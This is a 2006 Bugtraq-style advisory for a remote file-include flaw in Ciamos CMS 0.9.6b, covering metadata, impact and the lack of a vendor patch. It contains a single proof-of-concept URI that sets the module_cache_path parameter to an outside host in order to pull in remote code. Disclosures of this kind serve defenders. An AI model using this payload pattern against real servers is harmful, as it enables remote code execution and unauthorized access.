Ciamos CMS Config.PHP Remote File Include Vulnerability

Bugtraq ID:	20403
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 08 2006 12:00AM
Updated:	Oct 10 2006 08:09PM
Credit:	Kacper is credited with the discovery of this vulnerability.
Vulnerable:	Ciamos Ciamos 0.9.6b
Not Vulnerable:

Ciamos CMS Config.PHP Remote File Include Vulnerability

Ciamos CMS is affected by a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Ciamos CMS 0.9.6b and prior versions are reported affected.

Ciamos CMS Config.PHP Remote File Include Vulnerability

Attackers can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/ciamos_path/modules/forum/include/config.php?module_cache_path='http://www.example.com'

Ciamos CMS Config.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Ciamos CMS Config.PHP Remote File Include Vulnerability

References:

• Ciamos CMS <= 0.9.6b (config.php) Remote File Include Exploit (Devil Team)
  
• Ciamos Homepage (Ciamos)